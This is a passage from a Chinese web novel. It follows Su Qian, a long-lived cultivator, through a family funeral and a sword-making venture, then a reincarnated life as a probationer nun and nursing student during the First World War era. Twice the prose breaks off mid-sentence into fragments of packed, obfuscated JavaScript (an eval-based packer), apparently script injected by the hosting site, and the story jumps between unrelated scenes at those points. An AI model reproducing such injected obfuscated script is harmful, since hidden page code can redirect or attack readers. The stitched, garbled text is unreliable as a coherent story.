路过的人看着一身看起来很单薄的短打练功服,不紧不慢走着路的苏茜,不敢搭讪更不敢招惹。 “这位前辈要走路去城里吗?”少女问道。 “前辈自有前辈的方式,你闭嘴……什么时候到练气中期,什么时候一切你自己决定。” 远处的兽车上,一对父女或祖父女聊着正在走路的人。 苏茜能听见,但无所谓。 宇清城已经出现在肉眼可见范围内了。走了那么久,只喝了水吃了些干粮,还去岛上用个马桶。 不过确实有些饿了。 再走一里路,也就是不到两公里的样子,就到了城外的商业街区。很多人都是大早进出城的,不少人就在这里解决肚子和补给,可以坐下慢慢吃,也可以买了带走,预订明后天的也行,还有买了生了拿回去煮的。 苏茜前些年就开始喜欢上这样的烟火气。兴许是到了退休年龄,不再喜欢一个人干活修炼的状态。 “十个灵谷饼。带走。”她不吃凡食,纯粹是因为即使凡食填满胃部仍然觉得饿,必须用含有灵气的,实在不行修炼代替吃东西也可以——俗称辟谷,可如果不修炼做活会消耗能量,那么仍然需要吃东西。即,干活就得吃灵食。不干活、不练武倒是可以不怎么吃,但对身体和整体实力是不利的。因此她起码每天一顿灵谷。一灵珠一个的灵谷饼,放几天不会坏,十个饼可以吃三天。 说到饼,她又看了眼滋味不能说美好的饼。她突然就想念起甜大饼、甜豆浆、油条、咸豆腐脑和麻花之类,有几百年没吃过了……豆浆豆腐脑是不可能的,本地没有这种豆子和食物制作方法,不过甜大饼和葱油饼之类也许可以试试自己做? 她走进城,转到巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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茶也是自制的,青绿色的茶汤醇厚微苦有回甘,茶叶本身一般,不过炒制手法还行。 “这么大的地方?”你一个人住? “一层都种着不喜阳光的菇类。二层用来修炼休息,还有做各种东西,地下室用明火,顶楼有种菜种茶。现在喝的茶就是我自己种的。” “真是……齐全!” “嗯,除了不种火灵木,其他能种的都种了。就是数量不多,还是要去铺子买。” “我不担心了。”百岁出头的苏英女点点头。 苏茜带他们出门吃饭。家人们对楼上楼下有什么没多大兴致——又不会给自己,跟着去了不到百步远的饭馆,吃了顿二十灵珠的饭,回来上了兽车就走。小辈们没有一个对这房子有兴趣的。 苏茜在车里放下几大包自产的烘干灵菇和炒制灵茶,送走一群家人,回来直接上阁楼。当然没有楼梯,也不算是飞上去,而是借力几处凸起,真正飞檐走壁地进阁楼。 说是阁楼,其实只有四柱、地板和顶棚,外面地面看不清,除非站在城里的四层楼上——附近没有高楼。唯一能清楚“瞭望”到这个顶棚和有些稀疏的低矮作物就是城南宇清堂的楼塔。 “顶楼种菜?倒是,挺省钱的。” “那是个有了年纪的练气后期女修。底楼用腐木种灵菇,这些都不卖,全部自己吃。楼上是修炼休息和,做东西。对了,听说那种保温马桶就是她第一个弄出来给家里外祖母在冬天时用的。” “有别人家跟着学吗?” “有啊。现在不少家都学着在院子里和楼顶种东西……让这几年灵菜的价格贵了些。” “灵谷还是正常价吧?” “是。但是凡米涨了些。所以各种肉也涨了。” “继续盯着灵谷的价格,不要放松。” “是。” “盗匪一个不留。小偷小摸的那些都送去种地养兔。” “是!” 塔上两名修士的注视和议论当然影响不了苏茜,她也察觉不到。 种植这件事,每天不做点什么会心虚的。尤其是肥料其实挺麻烦的。她想到了就会去饭馆、菜场、养殖场收集厨余乃至畜粪。很多人问她拿这些没用甚至肮脏的垃圾做什么,她说做肥料。大家呵呵哈哈几下就完了。 没这个习惯,也没人喜欢。大家种灵谷灵植都是用草木灰,坚决不肯用“低下”的原料。也所以,她自己种出来的东西是卖不出去的,大家心理上就不接受,也没有多余的可以卖。 “称五个灵珠的二等黄谷。” “好!” 她生活花费不大,但买种子材料等等花出去之后,手头只剩下三万多灵珠。所以她得继续做东西,不然偶然馋了或者家里来人都没钱吃馆子。 宇清城里的工商业远超任何镇子,甚至周围万里的城市也只有两个曾经的宗门驻地能与宇清城相比。 “放开兵器管制,直接的坏处就是罪案四起,侍卫都查不过来,最终只剩下剽悍盗匪后裔能常年住在本地。” “可不放开就会被周边侵扰,吞并!” “那又不是我们宇清,那是太清和峥明的事。” “我说的不是大城,是壬水的教训。” “壬水城最高修为是筑基初期的壬城主,他过世后当地连练气后期的都没有,当然没法子。所以兵器不兵器的,有用吗?” “可我们宇清最近十年有新筑基的修士吗?” “其他地方也没有啊。那我们担心个啥?” “如果更远的地方有呢?” “那也是我们子孙担心的事。” “……” “……” 不知道什么时候,也许已经有几百年了,这类茶馆的二楼就成了修士们专属场地,而凡人一般只去一楼。 苏茜只是路过,从听到兵器开始就停下,边听边思考。武.器啊,好生意。现在宇清城管制的只是练气中期及以上用的炼器产品,普通压根不管。还有,本地没有修长飘逸、装饰美观的剑,市面上更没有飞剑这种玩意的存在——飞剑必须有修为来支撑,剑本身没本事飞。 她改了路子,略过之前经常合作的商家,往铁器铺。本地的铁器不仅是卖铁锅菜刀,还卖各种金属材料、制品乃至防身用品,比镇上的三家铁器铺不仅面积大得多,种类也丰富无数倍。 “这位贵客?”凡人店员过来招呼。 “不算是客。”苏茜研究了陈列的各种防具和冷兵,抬头看向觉得不对过来看情况的练气初期店员主管,从自制的金属皮革腰带钩上取下长剑,“看看这个,你们收吗?” 主管首先注意到的是苏茜与众不同的腰带结构,因为本地都是背刀的,然后才发现手里的这东西同样也很特别:他不知道要看什么! 苏茜指了下关窍,“拔出来。” 主管试了几下,终于顺利拔剑出鞘。 第一个反应是很轻的窄刀,第二个观感是非常锋利,第三个念头就是这玩意也是能杀人的吧?! 店里凡铁区有几个顾客,都是纯凡人不会过来,这片全部是灵珠计价的区域人很少,可还是有两个练气修士,听到了奇怪的声音过来看新奇。 “这个,我称为长剑。”本地是有剑这个名词,但多是玉石乃至灵石制的装饰品,短小精美,让苏茜猜测千万年前修士的剑已经成了后来普通人的礼器。她拿过剑,扔出去又收回来,庭院里的一颗装饰用水灵木少了一段枝丫。 “这个卖给我,卖给我!” “我也要,多少灵珠?!” 两个修士顾客眼都直了,立刻冲过来。 “剑本身不会飞回来,需要神识御物。” “知道,知道,我现在还办不到。”但是轻巧锋利啊,而且可以附着金系法术不散,直到切切实实砍下灵木。 “招式其实与刀差不多,胜在分量。”她又从挎包里摸出一柄短剑,轻巧锋利可附法术。“符文阵纹和其他东西自己做。剑鞘很坚硬,可以作为抵挡之物。剑鞘本身有一点保养清洁功能,不过后续也要自己弄。” 长剑五百,短剑三百五,给店里二十的见证费,送带钩,简直是比灵菜还便宜的价格。店里最便宜的普通防身长刀得两千五灵珠,还颇重,对练气初中期而言绝对没有长剑好使。 店员主管也红了眼,拉住苏茜谈寄卖或是收购价。 而苏茜打算做来料加工。店里给材料,她制作,不问售价,只按等级和加工难度收一百到五千的加工费。 最后是店老板跑来谈的。剑这东西杀伤力主要看主人的本事,而且不是管制品种,随便造。而苏茜用一百灵珠的超低价直接打乱了五百起步的防具加工市场。另外,她天马行空地用装饰宝石和锻造纹路作为符文载体、拼接出让人眼花缭乱的不同花样,提升了剑本身的美观实用性,给店家打开了新世界的大门。 宇清城中兴起的审美风暴刮到万里之外,那就是后话了。 …… 苏英女过世的时候很平静,是整理好后坐化的。宇清城修士入葬的风俗就是火化后只留牌位,因为很久很久以前,邪修总是挖出土葬的修士尸.体炼尸作恶,之后就习惯了火葬不留后患。至于凡人,土葬和火葬都有,全看家族受修士影响多深。 堂屋连通的小屋就是全家牌位的供奉地。修士没有过年祭祀的习惯,但每到婚丧大事都会来一趟。 全家老少五代人整整齐齐地来悼念一家之主的过世,最小的才四岁。 苏茜给每个未成年的后辈都是一小袋灵珠,其他人都是一块防御符石、包括兄弟和大姐。 苏越只给了小辈灵珠,比苏茜的少。 苏勇九十出头,又不乐意好好修炼,要不是灵食撑着,根本活不到现在。他无法跟苏明一样还能种地,好在倒也没啥病症。苏茜私下额外塞了一袋灵珠给他。 曾经的山地现在是苏英武的两个孙子在耕种经营,天天忙得还挺乐呵。 “那里适合修炼,所以不要断了修炼。”苏茜跟两个二十多岁小伙子道。她走之前是重新改造了二层小楼和茅屋,成为二楼二底外加两间大屋,至于那俩小子要怎么改跟她无关。 “是!”两个年轻人对着看上去也就四十岁的曾姨祖大气不敢喘。修士的实力与面相呈反比,越年轻越强。 苏茜没有多说,他们两个资质一般,努力一般,也就,一般般的练气初期。 “大姐,还是要好好培养后辈。” “我知道。”但九十好几的苏明也知道,她和自家后辈看起来就没有一个能达到练气后期的。等她闭眼了,后辈们如何就与自己无关了。 等苏勇也百岁不到终老时,苏明的外表彻底成为了老人。连苏英文的外表看起来都跟自己差不多年纪。苏茜就明白,这个家、这块土地跟自己的牵绊差不多了。 嗯,该退了。 14.当年的护士(一) 不是英语,而是意语? 哦,太棒了! 宗教经文,专有名词? 哦,太糟了! 但无论如何,见习姐妹苏茜成功地凭借语言“天赋”让自己没有受什么罪。饭前和睡前祷告完全不是问题,尤其是头巾可以很好地掩饰她“不正常”的短发以及发色有些发棕的“问题”。 埃利松嬷嬷觉得她很可能有外国血统而被家族遗弃。苏茜自己知道,这个姑娘不想年仅十一周岁——虚岁十三,俗称“豆蔻年华”——就被家里嫁给一个黑瘦农夫家的男孩而跑出来当乞丐,最“有趣”的是对方家庭说是砸锅卖铁凑了五两银子的彩礼,而女家是打算用这笔钱来给十二岁的儿子娶媳妇。 她不记得那笔钱有没有付过来,反正那时的“她”跑了,几年后玛丽堂多了位能说华、英、意三种语言的见习姐妹。 天天做贼一样兑换货币、搞吃喝的日子太见鬼了,最要命的是到处都是人的情况下,进出小岛的身法必须堪比武林高手。关键是,哪怕宰了几个不怀好意的,一点好处都没有,身上就一把脏兮兮的铜板和三两大洋,臭烘烘的衣服烧了还浪费木头。对了,要不是岛上的树不是很粗壮,她现在都砍不动!要命的是找不到买煤的地方,而柴禾一担担的买还特别显眼,真是愁死人。 是,上辈子自己勉强算是高手,攒的金子跟小山一样,不太厚的一块料子能在下雪天不冻死,小刀割喉跟切菜一样容易。但是!这是没有灵气只有乞丐、士兵和长袍辫子的平城!哦,不,辫子剪掉了。谢天谢地,那玩意太考验自己的审美了。 “苏茜姐妹,你真是努力。”从磕磕绊绊的词汇堆砌,到现在一口流利的表达以及经文和专业书阅读,只花了两年时间。 “埃利松姐妹,你打算睡了吗?” “没事,你继续看书。” “哦,我也打算祷告了。”放下意文版的护理札记,和室友一起祷告,然后关灯睡觉。电灯,哦,好歹有电是吧。但光线不是那么的亮,对眼睛不好啊不好。 外面在似乎又要变换大王旗了,吵吵个不停,报纸满天飞。她看着竖版的字体和文言白话只觉得头疼。对了,总.统又要变成皇帝了。啊呸,估计得打起来。 可是,热武.器时代,是讲究团体作战的,个人再英勇,一发迫.击.炮的余威或者远处一发子.弹就得完蛋,最可怕的是一时死不了,折腾好几天才死。所以保命其实不是那么容易。前不久有个小报恶心死了,将一个地方砍头的照片登出来,还引起疯抢。所以这是个刚刚摆脱对皇帝磕头的时代,愚昧和先进混合在一起,各种主义乱飞、无政府的那一挂还挺有市场,而不少乡下还不肯放开小女孩裹的脚——放足了估计也是个半残废。 苏茜在早课时暗忖:如果自己裹了脚,一定自杀! 早课后就是去病院工作。 “那边的药还没有送来吗?” “英国那里的情况你又不是不知道。” “可是……” “我们自己国家更没好到哪里去。” “看来也只有美国那边可以供应得上。” “我听说教廷那里……” 后面的声音非常小。 修女们自己都有些惊慌的样子。欧洲那里打起来了,钱和药物严重短缺,本地捐款跟不上。尤其是自家知道自家事,一旦开打,真的啥都顾不上了。 苏茜本人表示问题不大。因为,似乎是一战的影响,本会很多事情顾不上甚至有些不符合规定,导致她是唯一一个本籍见习修女,“精通”外语,受过培训,在教堂免费诊所里做看护,哦,不,是护士,即使拿出来一些金子自己生活也问题不大。何况,平城里天主堂好些个呢,到哪都能找到翻译兼护士的工作不是吗?另外,虽然全世界都受到战乱影响,但似乎只有北美问题不大?可惜了,那边的女性地位也没比平城里的好多少,最重要的是排华…… 她的近代史知识真的不行,而岛上的书只有大概描述。当时自己觉得足够了解历史,结果没想到史书跟现实是两回事,比如说这个厕所……算了。幸好这里有本籍大妈洗住院病患的衣物,还有一口井,另外修女们很清楚不能喝生水,不然自己大概率会跑掉。 可这个时代,能跑去哪呢?海城?港城?难道忘了战争了?!全亚洲就没安全的地方。大不了打起来之前去巴城的医院找份护士工作。呃,记得渝城似乎被轰.炸?作为一个没有将才的小人物,她只能做点小工、挣条小命,苟个几十年再说吧。 等等,好像,那个十年浩劫期间,她这样在外籍教堂里做过修女的很可能会倒大霉。六七十岁的时候再倒霉……这事…… “苏茜姐妹,今天我要告诉你一个不幸的消息。”晚课后,埃利松嬷嬷含泪握住苏茜的爪爪。 “?” 玛丽堂难以为继,部分修女要回国,另一部分合并入另一个博济堂,但仅限于正式修女。 “……我知道你已经离开了俗世家庭,所以你是去我的祖国,还是我推荐你去平城一家女子护士学校学习?” “哦……我希望能学习。嬷嬷知道,在这个国家刚刚开始摆脱愚昧,女性病人大部分不被允许向男性医生求助。我的好几位长辈都是因为难产时没有医生而死去,所以我拒绝十一岁就和一名十二岁的男孩结婚生育。” “哦,上帝爱你苏茜。” “是的,上帝救了我。” 作为一个严格遵守规矩,走路时从不看远方灰色的墙、黑瘦的人的见习修女,加上她能用几种语言帮助修女们与本地人尤其是妇女儿童们沟通,埃利松对苏茜的印象极好,因此打算做点上帝允许的破例的事。 “好好的活下去,孩子。” “放心,嬷嬷,我会好好的。”苏茜屈膝吻了吻一直很照顾自己的老修女的手背。这次她真的是虔诚的。 当一身白巾黑袍的苏茜站在连门牌都没有的“学校”校长珍妮女士办公室里打招呼时,对方差点没分辨出她的国籍。 道氏护士学校还没开张,除了一排六间“教室”和后头的三间小平房,什么都没有。连校长都是住在隔壁的一栋房子里二楼的一大一小两间屋。 对了,玛丽堂关门后,苏茜也没有住的地方。所以她当场申请先将行李安置在后头的小平房,然后出去租一个房间。 “最近不少人都回自己的祖国,你可以租到不错的房间。或者你也可以申请住女子医院的宿舍。”是的,房间,她不可能一个人住一栋房子,不然光是小偷小摸都足够破产的了,更不要说别的。这个平城跟和平安宁没有太大关系,跟百年后的伟大都城完全不是一个地方。“不过我觉得,你的基础应该比新学生好得多,可以当我的助手。” “谢谢!不过,校长,我们的学生们可能也有租房的需要,我们是不是要准备宿舍?” “是的,我还在协调。女子医院可能跟道氏医院合并。” 道别时,苏茜微微屈膝后才离开。几年的见习修女生活习惯不是一下子能改过来的,尤其是自己还没有换上护士制服的时候。 白裙白帽,暂时没有华语教材。埃利松嬷嬷的推荐信让她免了不少麻烦,但是其他的就得靠她自己。 谢天谢地,教室里有一点点电。外头出门半里,哦不,是这儿的二里路,也能买到煤和炉子,有些劣质的煤和泥陶炉。 “……玛丽堂关门之后我不想去意国的战地医院,所以留下来了。毕业以后我就可以去医院工作。”去那个法.西.斯国度,还是算了。 “上帝保佑你苏茜,你会好好的。” 苏茜跟法籍房东太太解释聊天,用了法英夹杂的语言,但双方沟通良好。房东十分受用,因为对方也是天主徒。最终,看在金元的份上,租给她一间底楼带卫生间的套房。上辈子的颇为不受待见的货币,现在可是购买力强大的等价交换物,尤其是苏茜给的兑换价格非常“慷慨”,房东太太不仅免了水电费,还随便她拿走自家的报纸。 在开学前,她还跟房东太太聊了不少本籍历史典故——其实她知道的本籍历史并没有比欧洲那边的多多少,可还是用对方能理解的思想解释了为什么那位想当皇帝的实权将军很快就被干掉,以及本地甚至本城的民族恩怨史。其实吧,她费了不少功夫捡起来的曾经堪比母语的西语,结果一点用也没有,气结。 但很快派上用场了。 本籍护士到目前大概只有不超过五十位女士。去掉结婚、病故之类,现存大约二三十,分散到各个教会医院压根找不见。而外籍护士,除了修女还能被本地人接受,光是语言、尤其是方言口音沟通就是个大问题。即使在平城里,起码一半人讲的话跟满大人官话不一样,出去了那更是百里一种语言。 这不,来了几位西国殖民地过来的医生护士,当地人,除了西语还会阿语和葡语,但是一时半会的看不太懂英文资料,更没法跟平城人交流。让苏茜奇怪的是那边居然有不罩着脸的女护士,而让所有人都奇怪的是苏茜居然懂些阿语。 呵,她还懂一点点希腊语和希伯来语呢! “我们都是天主徒,没法留在家乡。”年近三十、丧偶丧子的盖厦护士道。她也是怕了宗教、民族和国别矛盾。 “那就先在这里待几年。毕竟欧洲都在战争。”二十年后又开战。就她所知,西国那时可不是现在这样的中立国。 相比留学英美,与这些人语言文化习惯完全不通的其他华籍医护,苏茜见鬼地如鱼得水。医院里也有非英语的病患,这些医护都被打发去那边,然后空了的时候都跟苏茜学英语和华语。 “以前跟我关系挺好的一位修女也是摩国人。”苏茜饭前睡前简单祷告的习惯让新教犹太乃至东正等都对她很友好、或者说保持尊重的态度,尤其是知道她差点就发愿的时候更甚,完全看不出来那几个派别的不对付,当然这也许跟她对谁都态度谦和的修道院风格有关,亦或许非教堂医护人员的信仰度也就那样。 “难怪……苏茜护士,其实如果你说自己来自爱琴海也没人不信。”她的英语口音要么带意语腔,要么有点北美中部腔,反正一点不像华籍。另外就是,宗教和欧洲历史知识杠杠的,超过医院里绝大多数人。 “那我要好好学习希语了。” “啊,你太厉害了!” “我不是在学护理吗,第一年的基础知识没问题,所以有不少空余时间。”不,我不厉害,只是上上辈子没事的时候学了不少,这几年又捡回来了。 “要不你来医院帮忙吧,有工资的哦。”路过的英籍医生忍不住道。这位极有语言天赋的华籍护士学校学生曾经是见习修女,而且在教堂诊所里做事,实践上没啥问题,就缺个文凭。何况现在这年月大学只对少数男性开放,文凭并不那么重要。 “哦,真的可以吗?我不要求工资,之前埃利松嬷嬷给我的生活费还有,只求有实践机会。” “那你跟你们校长说一声就可以了。” 新成立的道氏医院和护士学校非常近,学生们其实是和医院医护在一个地方吃午饭。说实话,让苏茜出去吃她也受不了,比如说豆汁和膻腥的羊肉以及厨师们的手都让她无法接受。至于晚饭,她大部分是买了菜和面包自己做,买来的粮油与其他耐存放的东西都是放山洞里保存,避免盗窃这样的事情给自己带来损失。 另外,汽油这东西实在难弄,她都不舍得用来发电,只能用普通的煤凑合烧着花园小屋里的炉子。加之发电机放置了一百多年,即使上辈子清理封存,现在大约不行了,就不用浪费汽油测试。 早年种下的灵谷早成了野谷,根本没法吃。符文早就失效,但清洁阵纹是一直能用的。岛上的灵气无法支持用来保存食物的阵纹,所以上辈子的储备,只有不怕时光的东西以及火灵木还在。 火灵木仍然长势极慢,但一截食指长短粗细的断枝能烧开一壶一升多的茶水并且保温一天一夜。苏茜是绝对舍不得在非紧急时间砍了火灵木取暖的,所以早年的破旧集装箱里直接放了快一吨煤——本地的一等煤仍然属于差劲的燃煤,烧一个月就能把她花园小屋的烟囱堵死。 哦,她的小屋本身质量非常、非常好,那木头在多次法术的加持下已经改变了理化特征,接近化石木的坚硬防腐防水程度,唯一不好的是缝隙需要填补。 另外,当年存下的火灵木被褥衣物至今仍然能用,虽然保暖程度明显下降,但能用。苏茜根本舍不得用这些珍稀收藏品,平城里一身新棉衣棉裤棉被棉披风棉垫外加羊毛毯子,两整套,外加一件素面丝棉大披风,送货到家门口,只要两块五两多一点的金锭,价格也就比一件英国进口时尚风格羊毛呢大衣贵些。这里的两是市两,但因为只有砝码没有电子秤,她上辈子制作的时候是刻意分量多些的。大披风长度接近脚踝,保护只有羊毛袜的腿。护士服加老式棉裤多不像话,可没有足够保暖是扛不住平城的冬天——在修练不出什么修为的情况下,单衣能扛摄氏零下的事情不可能在修仙世界之外出现,有也是天赋秉异的人士。 在岛上修炼也只能起到强身健体的作用,哪怕一天修炼六个小时。 平城里有两种温度,摄氏度和华氏度,而且整体上前者更常用。苏茜之前就花了些时间适应,现在可以飞快地在两种温度之间转换。 …… “这些士兵的发型,真有特色。”一名来华不久的中年女医生轻声嘀咕着。即使是在二十年后,女医生仍然比女教师的数量少得多,更不要说现在。 “这是帝制时代的发型,表示他们是遵循以前的传统。”苏茜同样看向窗外远处士兵长辫子,表示几年前平城都是这个发型,不过他们的衣服装备更“现代”一点,起码不是盔甲还是棉甲的,手里拿的也是步木仓而不是火铳大刀。不过那木仓,大概比她已经收藏品里即将报废的步木仓早好几代,后座力应该更大。 “传统!”女医生瞪大了绿色的眼眸。 “但那只流行了大概两百年。你知道流行这个东西很难说,比如这里富有、年长的女性都有一双畸形的小脚。” “这个我看过照片,太恶心了。”让人想吐! “是的,比勒得内脏错位的紧身衣还要恶心。但怎么办呢,男人的审美。” “哦哦,是的,男人的审美。我的外祖母和母亲睡觉的时候都穿紧身衣。”可她们得到了什么?糟心的婚姻罢了。 “这会严重影响健康和寿命。” “是的,她们都没有活过四十九岁。当然我认为伦敦的空气同样具有杀伤力。” “还有水源?” “对!水,还有食物,和铅。虽然她们后来住在巴斯,但不安全的食物和化妆品也是病因。” “华籍很多贵族女性死于铅中毒。” “一样,还有乱七八糟的美容物导致的失明,溃烂。我外祖母的年代还有人让自己感染上肺结核,好让自己苍白纤美。” “……” “……” 随后医院里送来不少受木仓伤的病人。苏茜也被叫去帮忙——这是她的学费被免除的原因,熟练工加实践指导小老师。 有小规模的冲突。在这个时代太正常了! “呜……我还是受不了血肉模糊,怎么办?!”一名显然受过不错近代,不,现代教育的长辫姑娘坐在那里哭。 “苏姐姐?你有办法吗?”另一个长辫姑娘问苏茜。她们都是今年入学的新生。 “护士必须习惯血肉,溃烂的皮肤和死者的眼睛。南丁格尔女士就是在克里米亚战争中通过有效减少感染而降低士兵的死亡率,然后才有了护士这个受人尊敬的职业。”苏茜毫不犹豫地将这几个平时根本不和自己说话的姑娘弹压下去,用标准的伦敦英语。想要体面的职业又没有心理承受力的就别来!而且这个年代真的很落后,连注射器都无法做到一个病人换一个并且彻底消毒,交叉感染死亡是家常便饭。 死者的眼睛是啥意思?要她们摸死人?!两个长辫姑娘傻了。 就是这个意思!苏茜坚定回望。年年都有一半的姑娘受不了而退学,早习惯了。 …… “苏茜,有学生说你跟那两位退学的新生说了些话,然后她们退学了?”珍妮校长本来一点不在意,但架不住被一名女生拉住拼命告状。 “罗小姐?你害怕血吗?”她还算温和地看向告状的女生。 “我,不脏就不怕。”对方意识到不对,换成英语,“我不喜欢肮脏,我喜欢整洁卫生。” “脏?如果有一位人力三轮车车夫头上有很多血迹,你愿意为对方清理吗?” “车夫?我会让女仆先把对方弄干净。” “如果有一位患者在你面前死去,你会尖叫吗?” “别让我碰尸.体,应该,不会尖叫。” 苏茜对着校长耸耸肩,“那两位退学的同学无法承受流血的场景。” 科学接生、救治伤员、贫民、麻风病人,为死者安息,这些都是教会诊所引以为豪的成就。 校长也摇摇头,“护士和医生一样,都要面对疾病、受伤和死亡的人。我们开学的时候就普及过。”而且为医生打下手,就得做更多,包括抬死人。 告状的姑娘跑了。 “本地很多能讲英语的姑娘都是富有家庭出身,她们都是善良的,但从来没有接触过受伤和死亡,更不能接受为穷人服务,虽然能来医院的人都不是穷人。”苏茜为她们辩解道。这种理念是与教会诊所相悖的,连医院也不会将嫌贫爱富放在明面上。 “华籍草药医师也是这样吗?” “不,历史上著名的医师都有为穷人免费治疗、传播医学知识或是参与大规模瘟疫的故事,并且古代也是区分外科和内科的,但医师都是男性,因此几乎没有妇产科医师,全部是由类似助产士的女性为产妇和女性治疗,所以我们不能指望古代华裔女性能得到正确的治疗。即使是现在也没有好到哪里去……对了,可能还有学生对产科持抗拒态度,因为很多本地家庭认为稳婆,也就是助产士,是低贱的职业,淑女是不能做的。” “……这些姑娘花学费来干嘛?” “可能有些姑娘认为学习照顾病人有助于找到良好的婚姻。尤其是对富有家庭来说,女主人会喜欢儿子娶一个能照顾生病公婆的妻子。”这是真的,好几个姑娘私底下都是这样说的。其他姑娘则是冲着将来每年超过三十元的“高薪”而乐意付出每年十几元的学费。 “……”美国来此不算太久的护士校长女士表示知道了,但一点也不想理解。 听说教育系统的头头又换了——因为大王旗子换下又换回来,让普通人压根搞不清楚怎么回事。但护士学校是依托外国医院办的,不在教育系统内,对方管不着。至于卫生系统,抱歉,医院院长们还没有帮助平城建立起完整的卫生行政管理系统,更管不着,而且各个所谓的官员都得来外国医院治中医搞不定的伤病。另外就是医学院,同样管不着,因为那些人既不懂英文教材,也看不明白药品说明,吃了能好就完事。 太太们再怎么受“传统”教育也怕在文盲稳婆手里难产而亡,大部分年轻些的、没有被年长的婆婆钳制的妇人还是很乐意来医院看病生孩子。这个时候,女护士真的很重要。 “我是见习修女。”苏茜先用意语然后用标准得不能再标准的华语、偏普通话的那种而非现在常见口音,回答一位太太的私人问题,然后帮助法籍医生了解病情——用英语加法语。 “你是出家人啊!”病人的男家属感慨着这还不是可以玩的小尼姑,而是很不好玩的修女,算了,这姑娘也不是多漂亮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏茜对此习以为常,全院的人都很习惯了。幸好付得起费用的家庭都不会要求杀死或抛弃女婴。 今天其实是加班了,但不讲加班费。苏茜看了下今晚明天的值班护士表,决定睡在值班室。凌晨的时候,家属带了女仆直接冲过来找医生。婴儿呼吸困难。 值班医生护士一通忙。其实还是苏茜第一个觉察不对直接动手的。现在的医学说先进那也是相对古代而言,现在连抗生素都没有,三十年后的常见手术基本都做不了。 可即使如此,家属还是非常感激,甚至还打算打赏,被医护们微笑着推掉了,连私下好处都是婉拒的。 “你说这些护士能拿多少钱?我们是不是给得少了?” “我知道这些外国的大夫一年一千块左右吧。护士肯定要少很多,可不会少于一百。” “啊,不是佣人啊?!”这么贵吗?一百都能买条命了。 “奶,护士最早是战场上看护伤员的修女,地位差不多有点像医女。不过医女只为女眷看诊然后告知大夫,而护士不论男女。而且在欧洲战场上,双方都不能对护士开木仓。这是规矩。”年轻人是留洋回来的,当然懂一些。 “啊,还给男人看病?”这位太太本来想给儿子纳一房会照顾人的妾室,可一听就收回去了。 “是帮助医生处理事务、看护病人,所以日本那边都叫看护的。我们这里几年前称为护士。” “反正就是连衣冠不整的男人都碰,这样的姑娘是没人要的。” “……”人家护士跟你欣不欣赏她们有关系吗?不过年轻人没有多说什么。不论是刚才那位严肃的护士还是刚生了儿子的“传统”妻子,都不是他喜欢的类型。 外面天蒙蒙亮。 苏茜注明当天休息,然后去厨房拿了几块乳酪面包,配着黑咖啡吃早餐。穿上有些圣衣风格的戴帽披风,在离开医院的一对母子惊愕的目光中,一路看着那位护士穿着严肃地走向对面巷子。“那个是宗教式的服装。那位护士可能是受修女教育。” “出家人吗?” “是外国的出家人,信的教不一样,但都是有清规戒律的,不能成亲,早晚功课,饮食也有忌讳。”赶紧打消老娘给他再弄个不喜欢的女子的念头! …… 苏茜完全不知道这家人奇奇怪怪的心理,当然知道了也懒得理会。 她的注意力放在背后跟着的人。不需要回头观察,她可以用干掉上百盗匪抢劫犯的经验担保,那应该是跟梢探情况的,半大小孩。现在是白天,清晨,好地段,不可能现在就干嘛。 她进门的时候利用转弯墙脚的遮掩看过去,果然是个衣衫旧但不破的小男孩,面相看不到,想来是比较机灵的。 进院门,开小门,她特意放慢速度、放大动作。那个男孩像是好奇一样东张西望。院子有铁门和锁,但没有守卫门房,房子里一共五户人家,一楼三户、二楼两户。房东太太是位寡妇,丈夫死在异国他乡,但儿子在平城工作,工资一半寄给家乡的妻儿,因此这位快六十岁的太太很想得开。 这栋房子里的住客都是些看起来还行,却没多大钱势的人,而这条巷子也不是达官显贵的地盘。门房边小走廊里的报纸是昨天的,五户人家一起出钱订了各国七八份报纸和一份期刊,其中唯二的华语报纸头版头条的意思都是城头上的大王旗将换一换,不过一家说就是换掉,另一家说两方其实是联手。 还有一份英文报是本地出的,大部分是华籍新闻,其他都是通过电报得知的欧洲战局的消息。 电报啊,还有华尔街。 这地方让她想起来旁听农业管理专业大课的时候,当时好像是为了等个买家还是啥的,然后那位教授讲的是大萧条。有趣的是,他是从农业和农民的角度去看的,非常的微观经济,但后果却是宏观经济,从小麦产量、农业工人工资和小农场主饭桌,讲到股价与公司价值,同时把所谓的经济数据批得狗屁不如。哦,现在的指数还是挺正常的,除了德籍企业受影响外,钢铁、军火、食品企业都向好,连洪灾旱灾看起来也就是一点点小瑕疵而已,倒是飞机跨洋成了人人关注的事情。还有,现在似乎已经出现了借贷消费的理念,上万家银行贷款给普通人买车建房。另外,各个报纸都没有放过一条新闻,就是前沙皇的美丽女儿们或许逃出来一个。 与华尔街相对的是欧洲的报纸,这个吹自己军队有多英勇,那个吹几百公里射程的大炮将是未来的制胜法宝。 苏茜知道,这一场快打完了。德国青壮年非死即伤要么是贵族或街头混混,而未来那个挑起第二次大战的神经病现在估计在哪个角落忿忿地养伤呢! “早上好,苏茜。” “早上好,劳拉。” “你要出门吗?” “不,我值夜班,接生了一个婴儿,现在刚回来。打算今天睡觉,明天再去上班。” “哦!赶紧去休息吧!我会轻手轻脚的!” 鲁特太太劳拉算是与苏茜关系不错。鲁特先生在船公司工作,她当教师,绝没有看不起护士,尤其是苏茜帮着她省了很多买食品和其他东西的钱。 休息?是要去睡。苏茜回房间后直接去岛上洗澡洗衣睡觉。岛上与现实温度差不多,正是舒适的时节,雨水也略少,衣服被套棉被床单能晒半天。 五个小时的优质睡眠后,她起来上厕所收衣服被子,然后赶海觅食兼泡壶野茶。 